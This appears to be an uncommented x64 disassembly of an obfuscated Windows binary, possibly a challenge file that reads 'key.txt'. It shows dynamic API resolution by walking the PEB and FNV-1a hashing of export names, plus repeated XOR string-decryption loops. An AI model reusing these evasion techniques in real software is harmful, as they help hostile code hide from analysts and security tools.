mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400702f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400702f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400702f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400702d0
cmp r8d, 0xe76fb4aa
je 0x1400702fb
test r9d, r9d
jne 0x1400702b0
mov rax, qword [rax]
jmp 0x140070280
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140070467
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2dc]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140070360
cmp r8d, 0x15
jge 0x1400704b0
movsxd rax, r8d
lea r9, [rbp + 0x2d8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140070480
lea rcx, [rbp + 0x2d8]
call r11
mov eax, dword [0x14013cdb8]
mov dword [rbp - 0x14], eax
movzx eax, word [0x14013cdbc]
mov word [rbp - 0x10], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14013cdbe]
mov byte [rbp - 0x14], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp - 0x13], 0x38
xor byte [rbp - 0x12], 0x39
xor byte [rbp - 0x11], 0x3a
xor byte [rbp - 0x10], 0x3b
xor byte [rbp - 0xf], 0x3c
xor al, 0x3d
mov byte [rbp - 0xe], al
lea rdx, [rbp - 0x14]
call fcn.140049bb0
lea rdx, [0x14004b2b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400705a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400705a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400705a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070580
cmp r8d, 0x2fa62ca8
je 0x1400705ab
test r9d, r9d
jne 0x140070560
mov rax, qword [rax]
jmp 0x140070530
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [0x14013cdc0]
mov dword [rbp - 0x7c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070666
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070666
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070661
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070640
cmp r8d, 0x491e0a9c
je 0x14007066b
test r9d, r9d
jne 0x140070620
mov rax, qword [rax]
jmp 0x1400705f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140070714
movdqa xmm3, xmmword [0x1400ea960]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14013d5e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14013d5e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14013d4c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14013d530]
movd xmm0, dword [rbp - 0x7c]
pxor xmm2, xmm0
movd dword [rbp - 0x7c], xmm2
jmp 0x14007074f
lea r9, [rbp - 0x7c]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140070720
lea rcx, [rbp - 0x7c]
call r11
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x870]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [0x14013cdc8]
mov qword [rbp], rax
cmp byte [0x14013cdcf], r15b
je 0x1400708d0
cmp r12d, 2
jl 0x14007088d
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movd xmm5, esi
movdqa xmm2, xmmword [0x1400ea960]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013d4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
mov eax, dword [0x14013d530]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp]
pxor xmm2, xmm1
movd dword [rbp], xmm2
movdqa xmm3, xmmword [0x14013d4b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013d4c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 4]
pxor xmm2, xmm1
movd dword [rbp + 4], xmm2
jmp 0x1400708d0
lea r9, [rbp]
mov r8d, r15d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400708a0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp]
lea rcx, [rbp + 0x870]
call fcn.14004bb30
nop
mov rax, qword [rbp + 0x870]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x880], 6
jne 0x1400710b1
xor r8d, r8d
lea rdx, str.key.txt
lea rcx, [rbp + 0x738]
call fcn.1400497a0
nop
mov r8d, 3
lea rdx, [rbp + 0x738]
lea rcx, [rbp + 0x40]
call fcn.140051200
movsd xmm0, qword [rax]
movsd qword [rsp + 0x50], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xd0], ecx
lea rax, [0x140175720]
mov qword [rbp + 0xd8], rax
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x20], xmm0
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x140070a4b
cmp eax, 1
setne bl
lea rcx, [rbp + 0x738]
call fcn.140051870
test bl, bl
je 0x140071d3d
movups xmm0, xmmword [0x14013cdd0]
movups xmmword [rbp + 0x2f0], xmm0
mov eax, dword [0x14013cde0]
mov dword [rbp + 0x300], eax
movzx eax, byte [0x14013cde4]
mov byte [rbp + 0x304], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070a46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070a46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070a41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070a20
cmp r8d, 0xe76fb4aa
je 0x140070a5a
test r9d, r9d
jne 0x140070a00
mov rax, qword [rax]
jmp 0x1400709d0
xor bl, bl
test ecx, ecx
jne 0x14007c776
jmp 0x140070978
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140070bc7
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2f4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140070ac0
cmp r8d, 0x15
jge 0x140070c10
movsxd rax, r8d
lea r9, [rbp + 0x2f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140070be0
lea rcx, [rbp + 0x2f0]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14013cde8]
movups xmmword [rbp + 0x188], xmm0
mov eax, dword [0x14013cdf8]
mov dword [rbp + 0x198], eax
cmp byte [0x14013cdfb], 0
je 0x140070de0
mov r8d, r15d
cmp r12d, 2
jl 0x140070d97
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x18c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140070c90
cmp r8d, 0x14
jge 0x140070de0
movsxd rax, r8d
lea r9, [rbp + 0x188]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140070db0
lea rdx, [rbp + 0x188]
mov rcx, r10
call fcn.140049bb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070e76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070e76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070e71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070e50
cmp r8d, 0x2fa62ca8
je 0x140070e7b
test r9d, r9d
jne 0x140070e30
mov rax, qword [rax]
jmp 0x140070e00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov rax, qword [0x14013ce00]
mov qword [rbp + 8], rax
cmp byte [0x14013ce07], 0
je 0x140071000
cmp r12d, 2
jl 0x140070fbc
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movd xmm5, esi
movdqa xmm2, xmmword [0x1400ea960]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013d4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
mov eax, dword [0x14013d530]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 8]
pxor xmm2, xmm1
movd dword [rbp + 8], xmm2
movdqa xmm3, xmmword [0x14013d4b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013d4c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc]
pxor xmm2, xmm1
movd dword [rbp + 0xc], xmm2
jmp 0x140071000
lea r9, [rbp + 8]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140070fd0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x9e0]
call fcn.14004bd20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa00], xmm0
movdqa xmm1, xmmword [0x14013d4a0]
movdqu xmmword [rbp + 0xa10], xmm1
mov byte [rbp + 0xa00], 0
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x718]
call fcn.14006baa0
mov rdx, rax
lea rcx, [rbp + 0xa00]
call fcn.14004d7f0
lea rcx, [rbp + 0x718]
call fcn.14004caf0
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x6f8]
call fcn.14004bc40
mov rdx, rax
lea rcx, [0x140177750]
call fcn.14008b370
cmp byte [0x140177960], 0
jne 0x140071098
lea rcx, [rbp + 0x870]
call fcn.14004e3b0
nop
lea rcx, [rbp + 0xa00]
call fcn.14004caf0
nop
lea rcx, [rbp + 0x9e0]
jmp 0x140071d38
movups xmm0, xmmword [0x14013ce08]
movups xmmword [rbp + 0x308], xmm0
mov eax, dword [0x14013ce18]
mov dword [rbp + 0x318], eax
movzx eax, byte [0x14013ce1c]
mov byte [rbp + 0x31c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071166
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071166
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071161
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071140
cmp r8d, 0xe76fb4aa
je 0x14007116b
test r9d, r9d
jne 0x140071120
mov rax, qword [rax]
jmp 0x1400710f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x1400712d7
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x30c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400711d0
cmp r8d, 0x15
jge 0x140071320
movsxd rax, r8d
lea r9, [rbp + 0x308]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400712f0
lea rcx, [rbp + 0x308]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14013ce20]
movups xmmword [rbp + 0x5b8], xmm0
movsd xmm1, qword [0x14013ce30]
movsd qword [rbp + 0x5c8], xmm1
movzx eax, word [0x14013ce38]
mov word [rbp + 0x5d0], ax
cmp byte [0x14013ce39], 0
je 0x140071500
mov r8d, r15d
cmp r12d, 2
jl 0x1400714b9
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5bc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400713b2
cmp r8d, 0x1a
jge 0x140071500
movsxd rax, r8d
lea r9, [rbp + 0x5b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
